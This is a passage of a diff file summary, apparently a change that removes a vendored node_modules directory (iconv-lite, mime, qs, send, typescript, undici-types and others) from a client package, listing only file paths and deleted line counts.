  514. package/client/node_modules/iconv-lite/lib/extend-node.js +0 -217
  515. package/client/node_modules/iconv-lite/lib/index.d.ts +0 -24
  516. package/client/node_modules/iconv-lite/lib/index.js +0 -153
  517. package/client/node_modules/iconv-lite/lib/streams.js +0 -121
  518. package/client/node_modules/iconv-lite/package.json +0 -46
  519. package/client/node_modules/inherits/LICENSE +0 -16
  520. package/client/node_modules/inherits/README.md +0 -42
  521. package/client/node_modules/inherits/inherits.js +0 -9
  522. package/client/node_modules/inherits/inherits_browser.js +0 -27
  523. package/client/node_modules/inherits/package.json +0 -29
  524. package/client/node_modules/ipaddr.js/LICENSE +0 -19
  525. package/client/node_modules/ipaddr.js/README.md +0 -233
  526. package/client/node_modules/ipaddr.js/ipaddr.min.js +0 -1
  527. package/client/node_modules/ipaddr.js/lib/ipaddr.js +0 -673
  528. package/client/node_modules/ipaddr.js/lib/ipaddr.js.d.ts +0 -68
  529. package/client/node_modules/ipaddr.js/package.json +0 -35
  530. package/client/node_modules/is-docker/cli.js +0 -5
  531. package/client/node_modules/is-docker/index.d.ts +0 -15
  532. package/client/node_modules/is-docker/index.js +0 -29
  533. package/client/node_modules/is-docker/license +0 -9
  534. package/client/node_modules/is-docker/package.json +0 -42
  535. package/client/node_modules/is-docker/readme.md +0 -27
  536. package/client/node_modules/is-wsl/index.d.ts +0 -15
  537. package/client/node_modules/is-wsl/index.js +0 -31
  538. package/client/node_modules/is-wsl/license +0 -9
  539. package/client/node_modules/is-wsl/package.json +0 -45
  540. package/client/node_modules/is-wsl/readme.md +0 -36
  541. package/client/node_modules/math-intrinsics/.eslintrc +0 -16
  542. package/client/node_modules/math-intrinsics/.github/FUNDING.yml +0 -12
  543. package/client/node_modules/math-intrinsics/CHANGELOG.md +0 -24
  544. package/client/node_modules/math-intrinsics/LICENSE +0 -21
  545. package/client/node_modules/math-intrinsics/README.md +0 -50
  546. package/client/node_modules/math-intrinsics/abs.d.ts +0 -1
  547. package/client/node_modules/math-intrinsics/abs.js +0 -4
  548. package/client/node_modules/math-intrinsics/constants/maxArrayLength.d.ts +0 -3
  549. package/client/node_modules/math-intrinsics/constants/maxArrayLength.js +0 -4
  550. package/client/node_modules/math-intrinsics/constants/maxSafeInteger.d.ts +0 -3
  551. package/client/node_modules/math-intrinsics/constants/maxSafeInteger.js +0 -5
  552. package/client/node_modules/math-intrinsics/constants/maxValue.d.ts +0 -3
  553. package/client/node_modules/math-intrinsics/constants/maxValue.js +0 -5
  554. package/client/node_modules/math-intrinsics/floor.d.ts +0 -1
  555. package/client/node_modules/math-intrinsics/floor.js +0 -4
  556. package/client/node_modules/math-intrinsics/isFinite.d.ts +0 -3
  557. package/client/node_modules/math-intrinsics/isFinite.js +0 -12
  558. package/client/node_modules/math-intrinsics/isInteger.d.ts +0 -3
  559. package/client/node_modules/math-intrinsics/isInteger.js +0 -16
  560. package/client/node_modules/math-intrinsics/isNaN.d.ts +0 -1
  561. package/client/node_modules/math-intrinsics/isNaN.js +0 -6
  562. package/client/node_modules/math-intrinsics/isNegativeZero.d.ts +0 -3
  563. package/client/node_modules/math-intrinsics/isNegativeZero.js +0 -6
  564. package/client/node_modules/math-intrinsics/max.d.ts +0 -1
  565. package/client/node_modules/math-intrinsics/max.js +0 -4
  566. package/client/node_modules/math-intrinsics/min.d.ts +0 -1
  567. package/client/node_modules/math-intrinsics/min.js +0 -4
  568. package/client/node_modules/math-intrinsics/mod.d.ts +0 -3
  569. package/client/node_modules/math-intrinsics/mod.js +0 -9
  570. package/client/node_modules/math-intrinsics/package.json +0 -86
  571. package/client/node_modules/math-intrinsics/pow.d.ts +0 -1
  572. package/client/node_modules/math-intrinsics/pow.js +0 -4
  573. package/client/node_modules/math-intrinsics/round.d.ts +0 -1
  574. package/client/node_modules/math-intrinsics/round.js +0 -4
  575. package/client/node_modules/math-intrinsics/sign.d.ts +0 -3
  576. package/client/node_modules/math-intrinsics/sign.js +0 -11
  577. package/client/node_modules/math-intrinsics/test/index.js +0 -192
  578. package/client/node_modules/math-intrinsics/tsconfig.json +0 -3
  579. package/client/node_modules/media-typer/HISTORY.md +0 -22
  580. package/client/node_modules/media-typer/LICENSE +0 -22
  581. package/client/node_modules/media-typer/README.md +0 -81
  582. package/client/node_modules/media-typer/index.js +0 -270
  583. package/client/node_modules/media-typer/package.json +0 -26
  584. package/client/node_modules/merge-descriptors/HISTORY.md +0 -21
  585. package/client/node_modules/merge-descriptors/LICENSE +0 -23
  586. package/client/node_modules/merge-descriptors/README.md +0 -49
  587. package/client/node_modules/merge-descriptors/index.js +0 -60
  588. package/client/node_modules/merge-descriptors/package.json +0 -39
  589. package/client/node_modules/methods/HISTORY.md +0 -29
  590. package/client/node_modules/methods/LICENSE +0 -24
  591. package/client/node_modules/methods/README.md +0 -51
  592. package/client/node_modules/methods/index.js +0 -69
  593. package/client/node_modules/methods/package.json +0 -36
  594. package/client/node_modules/mime/CHANGELOG.md +0 -164
  595. package/client/node_modules/mime/LICENSE +0 -21
  596. package/client/node_modules/mime/README.md +0 -90
  597. package/client/node_modules/mime/cli.js +0 -8
  598. package/client/node_modules/mime/mime.js +0 -108
  599. package/client/node_modules/mime/package.json +0 -44
  600. package/client/node_modules/mime/src/build.js +0 -53
  601. package/client/node_modules/mime/src/test.js +0 -60
  602. package/client/node_modules/mime/types.json +0 -1
  603. package/client/node_modules/mime-db/HISTORY.md +0 -507
  604. package/client/node_modules/mime-db/LICENSE +0 -23
  605. package/client/node_modules/mime-db/README.md +0 -100
  606. package/client/node_modules/mime-db/db.json +0 -8519
  607. package/client/node_modules/mime-db/index.js +0 -12
  608. package/client/node_modules/mime-db/package.json +0 -60
  609. package/client/node_modules/mime-types/HISTORY.md +0 -397
  610. package/client/node_modules/mime-types/LICENSE +0 -23
  611. package/client/node_modules/mime-types/README.md +0 -113
  612. package/client/node_modules/mime-types/index.js +0 -188
  613. package/client/node_modules/mime-types/package.json +0 -44
  614. package/client/node_modules/ms/index.js +0 -152
  615. package/client/node_modules/ms/license.md +0 -21
  616. package/client/node_modules/ms/package.json +0 -37
  617. package/client/node_modules/ms/readme.md +0 -51
  618. package/client/node_modules/negotiator/HISTORY.md +0 -108
  619. package/client/node_modules/negotiator/LICENSE +0 -24
  620. package/client/node_modules/negotiator/README.md +0 -203
  621. package/client/node_modules/negotiator/index.js +0 -82
  622. package/client/node_modules/negotiator/lib/charset.js +0 -169
  623. package/client/node_modules/negotiator/lib/encoding.js +0 -184
  624. package/client/node_modules/negotiator/lib/language.js +0 -179
  625. package/client/node_modules/negotiator/lib/mediaType.js +0 -294
  626. package/client/node_modules/negotiator/package.json +0 -42
  627. package/client/node_modules/object-inspect/.eslintrc +0 -53
  628. package/client/node_modules/object-inspect/.github/FUNDING.yml +0 -12
  629. package/client/node_modules/object-inspect/.nycrc +0 -13
  630. package/client/node_modules/object-inspect/CHANGELOG.md +0 -424
  631. package/client/node_modules/object-inspect/LICENSE +0 -21
  632. package/client/node_modules/object-inspect/example/all.js +0 -23
  633. package/client/node_modules/object-inspect/example/circular.js +0 -6
  634. package/client/node_modules/object-inspect/example/fn.js +0 -5
  635. package/client/node_modules/object-inspect/example/inspect.js +0 -10
  636. package/client/node_modules/object-inspect/index.js +0 -544
  637. package/client/node_modules/object-inspect/package-support.json +0 -20
  638. package/client/node_modules/object-inspect/package.json +0 -105
  639. package/client/node_modules/object-inspect/readme.markdown +0 -84
  640. package/client/node_modules/object-inspect/test/bigint.js +0 -58
  641. package/client/node_modules/object-inspect/test/browser/dom.js +0 -15
  642. package/client/node_modules/object-inspect/test/circular.js +0 -16
  643. package/client/node_modules/object-inspect/test/deep.js +0 -12
  644. package/client/node_modules/object-inspect/test/element.js +0 -53
  645. package/client/node_modules/object-inspect/test/err.js +0 -48
  646. package/client/node_modules/object-inspect/test/fakes.js +0 -29
  647. package/client/node_modules/object-inspect/test/fn.js +0 -76
  648. package/client/node_modules/object-inspect/test/global.js +0 -17
  649. package/client/node_modules/object-inspect/test/has.js +0 -15
  650. package/client/node_modules/object-inspect/test/holes.js +0 -15
  651. package/client/node_modules/object-inspect/test/indent-option.js +0 -271
  652. package/client/node_modules/object-inspect/test/inspect.js +0 -139
  653. package/client/node_modules/object-inspect/test/lowbyte.js +0 -12
  654. package/client/node_modules/object-inspect/test/number.js +0 -58
  655. package/client/node_modules/object-inspect/test/quoteStyle.js +0 -26
  656. package/client/node_modules/object-inspect/test/toStringTag.js +0 -40
  657. package/client/node_modules/object-inspect/test/undef.js +0 -12
  658. package/client/node_modules/object-inspect/test/values.js +0 -261
  659. package/client/node_modules/object-inspect/test-core-js.js +0 -26
  660. package/client/node_modules/object-inspect/util.inspect.js +0 -1
  661. package/client/node_modules/on-finished/HISTORY.md +0 -98
  662. package/client/node_modules/on-finished/LICENSE +0 -23
  663. package/client/node_modules/on-finished/README.md +0 -162
  664. package/client/node_modules/on-finished/index.js +0 -234
  665. package/client/node_modules/on-finished/package.json +0 -39
  666. package/client/node_modules/open/index.d.ts +0 -153
  667. package/client/node_modules/open/index.js +0 -334
  668. package/client/node_modules/open/license +0 -9
  669. package/client/node_modules/open/package.json +0 -61
  670. package/client/node_modules/open/readme.md +0 -171
  671. package/client/node_modules/open/xdg-open +0 -1066
  672. package/client/node_modules/parseurl/HISTORY.md +0 -58
  673. package/client/node_modules/parseurl/LICENSE +0 -24
  674. package/client/node_modules/parseurl/README.md +0 -133
  675. package/client/node_modules/parseurl/index.js +0 -158
  676. package/client/node_modules/parseurl/package.json +0 -40
  677. package/client/node_modules/path-to-regexp/LICENSE +0 -21
  678. package/client/node_modules/path-to-regexp/Readme.md +0 -35
  679. package/client/node_modules/path-to-regexp/index.js +0 -158
  680. package/client/node_modules/path-to-regexp/package.json +0 -30
  681. package/client/node_modules/proxy-addr/HISTORY.md +0 -161
  682. package/client/node_modules/proxy-addr/LICENSE +0 -22
  683. package/client/node_modules/proxy-addr/README.md +0 -139
  684. package/client/node_modules/proxy-addr/index.js +0 -327
  685. package/client/node_modules/proxy-addr/package.json +0 -47
  686. package/client/node_modules/qs/.editorconfig +0 -46
  687. package/client/node_modules/qs/.github/FUNDING.yml +0 -12
  688. package/client/node_modules/qs/.github/SECURITY.md +0 -11
  689. package/client/node_modules/qs/.github/THREAT_MODEL.md +0 -78
  690. package/client/node_modules/qs/.nycrc +0 -13
  691. package/client/node_modules/qs/CHANGELOG.md +0 -822
  692. package/client/node_modules/qs/LICENSE.md +0 -29
  693. package/client/node_modules/qs/README.md +0 -758
  694. package/client/node_modules/qs/dist/qs.js +0 -141
  695. package/client/node_modules/qs/eslint.config.mjs +0 -57
  696. package/client/node_modules/qs/lib/formats.js +0 -23
  697. package/client/node_modules/qs/lib/index.js +0 -11
  698. package/client/node_modules/qs/lib/parse.js +0 -403
  699. package/client/node_modules/qs/lib/stringify.js +0 -363
  700. package/client/node_modules/qs/lib/utils.js +0 -342
  701. package/client/node_modules/qs/package.json +0 -94
  702. package/client/node_modules/qs/test/empty-keys-cases.js +0 -267
  703. package/client/node_modules/qs/test/parse.js +0 -1703
  704. package/client/node_modules/qs/test/stringify.js +0 -1448
  705. package/client/node_modules/qs/test/utils.js +0 -432
  706. package/client/node_modules/range-parser/HISTORY.md +0 -56
  707. package/client/node_modules/range-parser/LICENSE +0 -23
  708. package/client/node_modules/range-parser/README.md +0 -84
  709. package/client/node_modules/range-parser/index.js +0 -162
  710. package/client/node_modules/range-parser/package.json +0 -44
  711. package/client/node_modules/raw-body/LICENSE +0 -22
  712. package/client/node_modules/raw-body/README.md +0 -223
  713. package/client/node_modules/raw-body/index.d.ts +0 -87
  714. package/client/node_modules/raw-body/index.js +0 -336
  715. package/client/node_modules/raw-body/package.json +0 -47
  716. package/client/node_modules/safe-buffer/LICENSE +0 -21
  717. package/client/node_modules/safe-buffer/README.md +0 -584
  718. package/client/node_modules/safe-buffer/index.d.ts +0 -187
  719. package/client/node_modules/safe-buffer/index.js +0 -65
  720. package/client/node_modules/safe-buffer/package.json +0 -51
  721. package/client/node_modules/safer-buffer/LICENSE +0 -21
  722. package/client/node_modules/safer-buffer/Porting-Buffer.md +0 -268
  723. package/client/node_modules/safer-buffer/Readme.md +0 -156
  724. package/client/node_modules/safer-buffer/dangerous.js +0 -58
  725. package/client/node_modules/safer-buffer/package.json +0 -34
  726. package/client/node_modules/safer-buffer/safer.js +0 -77
  727. package/client/node_modules/safer-buffer/tests.js +0 -406
  728. package/client/node_modules/send/HISTORY.md +0 -538
  729. package/client/node_modules/send/LICENSE +0 -23
  730. package/client/node_modules/send/README.md +0 -327
  731. package/client/node_modules/send/SECURITY.md +0 -24
  732. package/client/node_modules/send/index.js +0 -1142
  733. package/client/node_modules/send/node_modules/ms/index.js +0 -162
  734. package/client/node_modules/send/node_modules/ms/license.md +0 -21
  735. package/client/node_modules/send/node_modules/ms/package.json +0 -38
  736. package/client/node_modules/send/node_modules/ms/readme.md +0 -59
  737. package/client/node_modules/send/package.json +0 -62
  738. package/client/node_modules/serve-static/HISTORY.md +0 -493
  739. package/client/node_modules/serve-static/LICENSE +0 -25
  740. package/client/node_modules/serve-static/README.md +0 -257
  741. package/client/node_modules/serve-static/index.js +0 -209
  742. package/client/node_modules/serve-static/package.json +0 -42
  743. package/client/node_modules/setprototypeof/LICENSE +0 -13
  744. package/client/node_modules/setprototypeof/README.md +0 -31
  745. package/client/node_modules/setprototypeof/index.d.ts +0 -2
  746. package/client/node_modules/setprototypeof/index.js +0 -17
  747. package/client/node_modules/setprototypeof/package.json +0 -38
  748. package/client/node_modules/setprototypeof/test/index.js +0 -24
  749. package/client/node_modules/side-channel/.editorconfig +0 -9
  750. package/client/node_modules/side-channel/.eslintrc +0 -12
  751. package/client/node_modules/side-channel/.github/FUNDING.yml +0 -12
  752. package/client/node_modules/side-channel/.nycrc +0 -13
  753. package/client/node_modules/side-channel/CHANGELOG.md +0 -120
  754. package/client/node_modules/side-channel/LICENSE +0 -21
  755. package/client/node_modules/side-channel/README.md +0 -61
  756. package/client/node_modules/side-channel/index.d.ts +0 -14
  757. package/client/node_modules/side-channel/index.js +0 -46
  758. package/client/node_modules/side-channel/package.json +0 -85
  759. package/client/node_modules/side-channel/test/index.js +0 -120
  760. package/client/node_modules/side-channel/tsconfig.json +0 -9
  761. package/client/node_modules/side-channel-list/.editorconfig +0 -9
  762. package/client/node_modules/side-channel-list/.eslintrc +0 -11
  763. package/client/node_modules/side-channel-list/.github/FUNDING.yml +0 -12
  764. package/client/node_modules/side-channel-list/.nycrc +0 -13
  765. package/client/node_modules/side-channel-list/CHANGELOG.md +0 -36
  766. package/client/node_modules/side-channel-list/LICENSE +0 -21
  767. package/client/node_modules/side-channel-list/README.md +0 -62
  768. package/client/node_modules/side-channel-list/index.d.ts +0 -13
  769. package/client/node_modules/side-channel-list/index.js +0 -111
  770. package/client/node_modules/side-channel-list/list.d.ts +0 -14
  771. package/client/node_modules/side-channel-list/package.json +0 -77
  772. package/client/node_modules/side-channel-list/test/index.js +0 -154
  773. package/client/node_modules/side-channel-list/tsconfig.json +0 -9
  774. package/client/node_modules/side-channel-map/.editorconfig +0 -9
  775. package/client/node_modules/side-channel-map/.eslintrc +0 -11
  776. package/client/node_modules/side-channel-map/.github/FUNDING.yml +0 -12
  777. package/client/node_modules/side-channel-map/.nycrc +0 -13
  778. package/client/node_modules/side-channel-map/CHANGELOG.md +0 -22
  779. package/client/node_modules/side-channel-map/LICENSE +0 -21
  780. package/client/node_modules/side-channel-map/README.md +0 -62
  781. package/client/node_modules/side-channel-map/index.d.ts +0 -15
  782. package/client/node_modules/side-channel-map/index.js +0 -68
  783. package/client/node_modules/side-channel-map/package.json +0 -80
  784. package/client/node_modules/side-channel-map/test/index.js +0 -114
  785. package/client/node_modules/side-channel-map/tsconfig.json +0 -9
  786. package/client/node_modules/side-channel-weakmap/.editorconfig +0 -9
  787. package/client/node_modules/side-channel-weakmap/.eslintrc +0 -12
  788. package/client/node_modules/side-channel-weakmap/.github/FUNDING.yml +0 -12
  789. package/client/node_modules/side-channel-weakmap/.nycrc +0 -13
  790. package/client/node_modules/side-channel-weakmap/CHANGELOG.md +0 -28
  791. package/client/node_modules/side-channel-weakmap/LICENSE +0 -21
  792. package/client/node_modules/side-channel-weakmap/README.md +0 -62
  793. package/client/node_modules/side-channel-weakmap/index.d.ts +0 -15
  794. package/client/node_modules/side-channel-weakmap/index.js +0 -84
  795. package/client/node_modules/side-channel-weakmap/package.json +0 -87
  796. package/client/node_modules/side-channel-weakmap/test/index.js +0 -114
  797. package/client/node_modules/side-channel-weakmap/tsconfig.json +0 -9
  798. package/client/node_modules/statuses/HISTORY.md +0 -87
  799. package/client/node_modules/statuses/LICENSE +0 -23
  800. package/client/node_modules/statuses/README.md +0 -139
  801. package/client/node_modules/statuses/codes.json +0 -65
  802. package/client/node_modules/statuses/index.js +0 -146
  803. package/client/node_modules/statuses/package.json +0 -49
  804. package/client/node_modules/toidentifier/HISTORY.md +0 -9
  805. package/client/node_modules/toidentifier/LICENSE +0 -21
  806. package/client/node_modules/toidentifier/README.md +0 -61
  807. package/client/node_modules/toidentifier/index.js +0 -32
  808. package/client/node_modules/toidentifier/package.json +0 -38
  809. package/client/node_modules/type-is/HISTORY.md +0 -259
  810. package/client/node_modules/type-is/LICENSE +0 -23
  811. package/client/node_modules/type-is/README.md +0 -170
  812. package/client/node_modules/type-is/index.js +0 -266
  813. package/client/node_modules/type-is/package.json +0 -45
  814. package/client/node_modules/typescript/LICENSE.txt +0 -55
  815. package/client/node_modules/typescript/README.md +0 -50
  816. package/client/node_modules/typescript/SECURITY.md +0 -41
  817. package/client/node_modules/typescript/ThirdPartyNoticeText.txt +0 -193
  818. package/client/node_modules/typescript/bin/tsc +0 -2
  819. package/client/node_modules/typescript/bin/tsserver +0 -2
  820. package/client/node_modules/typescript/lib/_tsc.js +0 -133818
  821. package/client/node_modules/typescript/lib/_tsserver.js +0 -659
  822. package/client/node_modules/typescript/lib/_typingsInstaller.js +0 -222
  823. package/client/node_modules/typescript/lib/cs/diagnosticMessages.generated.json +0 -2122
  824. package/client/node_modules/typescript/lib/de/diagnosticMessages.generated.json +0 -2122
  825. package/client/node_modules/typescript/lib/es/diagnosticMessages.generated.json +0 -2122
  826. package/client/node_modules/typescript/lib/fr/diagnosticMessages.generated.json +0 -2122
  827. package/client/node_modules/typescript/lib/it/diagnosticMessages.generated.json +0 -2122
  828. package/client/node_modules/typescript/lib/ja/diagnosticMessages.generated.json +0 -2122
  829. package/client/node_modules/typescript/lib/ko/diagnosticMessages.generated.json +0 -2122
  830. package/client/node_modules/typescript/lib/lib.d.ts +0 -22
  831. package/client/node_modules/typescript/lib/lib.decorators.d.ts +0 -384
  832. package/client/node_modules/typescript/lib/lib.decorators.legacy.d.ts +0 -22
  833. package/client/node_modules/typescript/lib/lib.dom.asynciterable.d.ts +0 -41
  834. package/client/node_modules/typescript/lib/lib.dom.d.ts +0 -39429
  835. package/client/node_modules/typescript/lib/lib.dom.iterable.d.ts +0 -571
  836. package/client/node_modules/typescript/lib/lib.es2015.collection.d.ts +0 -147
  837. package/client/node_modules/typescript/lib/lib.es2015.core.d.ts +0 -597
  838. package/client/node_modules/typescript/lib/lib.es2015.d.ts +0 -28
  839. package/client/node_modules/typescript/lib/lib.es2015.generator.d.ts +0 -77
  840. package/client/node_modules/typescript/lib/lib.es2015.iterable.d.ts +0 -605
  841. package/client/node_modules/typescript/lib/lib.es2015.promise.d.ts +0 -81
  842. package/client/node_modules/typescript/lib/lib.es2015.proxy.d.ts +0 -128
  843. package/client/node_modules/typescript/lib/lib.es2015.reflect.d.ts +0 -144
  844. package/client/node_modules/typescript/lib/lib.es2015.symbol.d.ts +0 -46
  845. package/client/node_modules/typescript/lib/lib.es2015.symbol.wellknown.d.ts +0 -326
  846. package/client/node_modules/typescript/lib/lib.es2016.array.include.d.ts +0 -116
  847. package/client/node_modules/typescript/lib/lib.es2016.d.ts +0 -21
  848. package/client/node_modules/typescript/lib/lib.es2016.full.d.ts +0 -23
  849. package/client/node_modules/typescript/lib/lib.es2016.intl.d.ts +0 -31
  850. package/client/node_modules/typescript/lib/lib.es2017.arraybuffer.d.ts +0 -21
  851. package/client/node_modules/typescript/lib/lib.es2017.d.ts +0 -26
  852. package/client/node_modules/typescript/lib/lib.es2017.date.d.ts +0 -31
  853. package/client/node_modules/typescript/lib/lib.es2017.full.d.ts +0 -23
  854. package/client/node_modules/typescript/lib/lib.es2017.intl.d.ts +0 -44
  855. package/client/node_modules/typescript/lib/lib.es2017.object.d.ts +0 -49
  856. package/client/node_modules/typescript/lib/lib.es2017.sharedmemory.d.ts +0 -135
  857. package/client/node_modules/typescript/lib/lib.es2017.string.d.ts +0 -45
  858. package/client/node_modules/typescript/lib/lib.es2017.typedarrays.d.ts +0 -53
  859. package/client/node_modules/typescript/lib/lib.es2018.asyncgenerator.d.ts +0 -77
  860. package/client/node_modules/typescript/lib/lib.es2018.asynciterable.d.ts +0 -53
  861. package/client/node_modules/typescript/lib/lib.es2018.d.ts +0 -24
  862. package/client/node_modules/typescript/lib/lib.es2018.full.d.ts +0 -24
  863. package/client/node_modules/typescript/lib/lib.es2018.intl.d.ts +0 -83
  864. package/client/node_modules/typescript/lib/lib.es2018.promise.d.ts +0 -30
  865. package/client/node_modules/typescript/lib/lib.es2018.regexp.d.ts +0 -37
  866. package/client/node_modules/typescript/lib/lib.es2019.array.d.ts +0 -79
  867. package/client/node_modules/typescript/lib/lib.es2019.d.ts +0 -24
  868. package/client/node_modules/typescript/lib/lib.es2019.full.d.ts +0 -24
  869. package/client/node_modules/typescript/lib/lib.es2019.intl.d.ts +0 -23
  870. package/client/node_modules/typescript/lib/lib.es2019.object.d.ts +0 -33
  871. package/client/node_modules/typescript/lib/lib.es2019.string.d.ts +0 -37
  872. package/client/node_modules/typescript/lib/lib.es2019.symbol.d.ts +0 -24
  873. package/client/node_modules/typescript/lib/lib.es2020.bigint.d.ts +0 -765
  874. package/client/node_modules/typescript/lib/lib.es2020.d.ts +0 -27
  875. package/client/node_modules/typescript/lib/lib.es2020.date.d.ts +0 -42
  876. package/client/node_modules/typescript/lib/lib.es2020.full.d.ts +0 -24
  877. package/client/node_modules/typescript/lib/lib.es2020.intl.d.ts +0 -474
  878. package/client/node_modules/typescript/lib/lib.es2020.number.d.ts +0 -28
  879. package/client/node_modules/typescript/lib/lib.es2020.promise.d.ts +0 -47
  880. package/client/node_modules/typescript/lib/lib.es2020.sharedmemory.d.ts +0 -99
  881. package/client/node_modules/typescript/lib/lib.es2020.string.d.ts +0 -44
  882. package/client/node_modules/typescript/lib/lib.es2020.symbol.wellknown.d.ts +0 -41
  883. package/client/node_modules/typescript/lib/lib.es2021.d.ts +0 -23
  884. package/client/node_modules/typescript/lib/lib.es2021.full.d.ts +0 -24
  885. package/client/node_modules/typescript/lib/lib.es2021.intl.d.ts +0 -166
  886. package/client/node_modules/typescript/lib/lib.es2021.promise.d.ts +0 -48
  887. package/client/node_modules/typescript/lib/lib.es2021.string.d.ts +0 -33
  888. package/client/node_modules/typescript/lib/lib.es2021.weakref.d.ts +0 -78
  889. package/client/node_modules/typescript/lib/lib.es2022.array.d.ts +0 -121
  890. package/client/node_modules/typescript/lib/lib.es2022.d.ts +0 -25
  891. package/client/node_modules/typescript/lib/lib.es2022.error.d.ts +0 -75
  892. package/client/node_modules/typescript/lib/lib.es2022.full.d.ts +0 -24
  893. package/client/node_modules/typescript/lib/lib.es2022.intl.d.ts +0 -145
  894. package/client/node_modules/typescript/lib/lib.es2022.object.d.ts +0 -26
  895. package/client/node_modules/typescript/lib/lib.es2022.regexp.d.ts +0 -39
  896. package/client/node_modules/typescript/lib/lib.es2022.string.d.ts +0 -25
  897. package/client/node_modules/typescript/lib/lib.es2023.array.d.ts +0 -924
  898. package/client/node_modules/typescript/lib/lib.es2023.collection.d.ts +0 -21
  899. package/client/node_modules/typescript/lib/lib.es2023.d.ts +0 -22
  900. package/client/node_modules/typescript/lib/lib.es2023.full.d.ts +0 -24
  901. package/client/node_modules/typescript/lib/lib.es2023.intl.d.ts +0 -56
  902. package/client/node_modules/typescript/lib/lib.es2024.arraybuffer.d.ts +0 -65
  903. package/client/node_modules/typescript/lib/lib.es2024.collection.d.ts +0 -29
  904. package/client/node_modules/typescript/lib/lib.es2024.d.ts +0 -26
  905. package/client/node_modules/typescript/lib/lib.es2024.full.d.ts +0 -24
  906. package/client/node_modules/typescript/lib/lib.es2024.object.d.ts +0 -29
  907. package/client/node_modules/typescript/lib/lib.es2024.promise.d.ts +0 -35
  908. package/client/node_modules/typescript/lib/lib.es2024.regexp.d.ts +0 -25
  909. package/client/node_modules/typescript/lib/lib.es2024.sharedmemory.d.ts +0 -68
  910. package/client/node_modules/typescript/lib/lib.es2024.string.d.ts +0 -29
  911. package/client/node_modules/typescript/lib/lib.es5.d.ts +0 -4601
  912. package/client/node_modules/typescript/lib/lib.es6.d.ts +0 -23
  913. package/client/node_modules/typescript/lib/lib.esnext.array.d.ts +0 -35
  914. package/client/node_modules/typescript/lib/lib.esnext.collection.d.ts +0 -96
  915. package/client/node_modules/typescript/lib/lib.esnext.d.ts +0 -29
  916. package/client/node_modules/typescript/lib/lib.esnext.decorators.d.ts +0 -28
  917. package/client/node_modules/typescript/lib/lib.esnext.disposable.d.ts +0 -193
  918. package/client/node_modules/typescript/lib/lib.esnext.error.d.ts +0 -24
  919. package/client/node_modules/typescript/lib/lib.esnext.float16.d.ts +0 -445
  920. package/client/node_modules/typescript/lib/lib.esnext.full.d.ts +0 -24
  921. package/client/node_modules/typescript/lib/lib.esnext.intl.d.ts +0 -21
  922. package/client/node_modules/typescript/lib/lib.esnext.iterator.d.ts +0 -148
  923. package/client/node_modules/typescript/lib/lib.esnext.promise.d.ts +0 -34
  924. package/client/node_modules/typescript/lib/lib.esnext.sharedmemory.d.ts +0 -25
  925. package/client/node_modules/typescript/lib/lib.scripthost.d.ts +0 -322
  926. package/client/node_modules/typescript/lib/lib.webworker.asynciterable.d.ts +0 -41
  927. package/client/node_modules/typescript/lib/lib.webworker.d.ts +0 -13150
  928. package/client/node_modules/typescript/lib/lib.webworker.importscripts.d.ts +0 -23
  929. package/client/node_modules/typescript/lib/lib.webworker.iterable.d.ts +0 -340
  930. package/client/node_modules/typescript/lib/pl/diagnosticMessages.generated.json +0 -2122
  931. package/client/node_modules/typescript/lib/pt-br/diagnosticMessages.generated.json +0 -2122
  932. package/client/node_modules/typescript/lib/ru/diagnosticMessages.generated.json +0 -2122
  933. package/client/node_modules/typescript/lib/tr/diagnosticMessages.generated.json +0 -2122
  934. package/client/node_modules/typescript/lib/tsc.js +0 -8
  935. package/client/node_modules/typescript/lib/tsserver.js +0 -8
  936. package/client/node_modules/typescript/lib/tsserverlibrary.d.ts +0 -17
  937. package/client/node_modules/typescript/lib/tsserverlibrary.js +0 -21
  938. package/client/node_modules/typescript/lib/typesMap.json +0 -497
  939. package/client/node_modules/typescript/lib/typescript.d.ts +0 -11437
  940. package/client/node_modules/typescript/lib/typescript.js +0 -200276
  941. package/client/node_modules/typescript/lib/typingsInstaller.js +0 -8
  942. package/client/node_modules/typescript/lib/watchGuard.js +0 -53
  943. package/client/node_modules/typescript/lib/zh-cn/diagnosticMessages.generated.json +0 -2122
  944. package/client/node_modules/typescript/lib/zh-tw/diagnosticMessages.generated.json +0 -2122
  945. package/client/node_modules/typescript/package.json +0 -120
  946. package/client/node_modules/undici-types/LICENSE +0 -21
  947. package/client/node_modules/undici-types/README.md +0 -6
  948. package/client/node_modules/undici-types/agent.d.ts +0 -31
  949. package/client/node_modules/undici-types/api.d.ts +0 -43
  950. package/client/node_modules/undici-types/balanced-pool.d.ts +0 -29
  951. package/client/node_modules/undici-types/cache.d.ts +0 -36
  952. package/client/node_modules/undici-types/client.d.ts +0 -108
  953. package/client/node_modules/undici-types/connector.d.ts +0 -34
  954. package/client/node_modules/undici-types/content-type.d.ts +0 -21
  955. package/client/node_modules/undici-types/cookies.d.ts +0 -28
  956. package/client/node_modules/undici-types/diagnostics-channel.d.ts +0 -66
  957. package/client/node_modules/undici-types/dispatcher.d.ts +0 -256
  958. package/client/node_modules/undici-types/env-http-proxy-agent.d.ts +0 -21
  959. package/client/node_modules/undici-types/errors.d.ts +0 -149
  960. package/client/node_modules/undici-types/eventsource.d.ts +0 -61
  961. package/client/node_modules/undici-types/fetch.d.ts +0 -209
  962. package/client/node_modules/undici-types/file.d.ts +0 -39
  963. package/client/node_modules/undici-types/filereader.d.ts +0 -54
  964. package/client/node_modules/undici-types/formdata.d.ts +0 -108
  965. package/client/node_modules/undici-types/global-dispatcher.d.ts +0 -9
  966. package/client/node_modules/undici-types/global-origin.d.ts +0 -7
  967. package/client/node_modules/undici-types/handlers.d.ts +0 -15
  968. package/client/node_modules/undici-types/header.d.ts +0 -4
  969. package/client/node_modules/undici-types/index.d.ts +0 -71
  970. package/client/node_modules/undici-types/interceptors.d.ts +0 -17
  971. package/client/node_modules/undici-types/mock-agent.d.ts +0 -50
  972. package/client/node_modules/undici-types/mock-client.d.ts +0 -25
  973. package/client/node_modules/undici-types/mock-errors.d.ts +0 -12
  974. package/client/node_modules/undici-types/mock-interceptor.d.ts +0 -93
  975. package/client/node_modules/undici-types/mock-pool.d.ts +0 -25
  976. package/client/node_modules/undici-types/package.json +0 -55
  977. package/client/node_modules/undici-types/patch.d.ts +0 -33
  978. package/client/node_modules/undici-types/pool-stats.d.ts +0 -19
  979. package/client/node_modules/undici-types/pool.d.ts +0 -39
  980. package/client/node_modules/undici-types/proxy-agent.d.ts +0 -28
  981. package/client/node_modules/undici-types/readable.d.ts +0 -65
  982. package/client/node_modules/undici-types/retry-agent.d.ts +0 -8
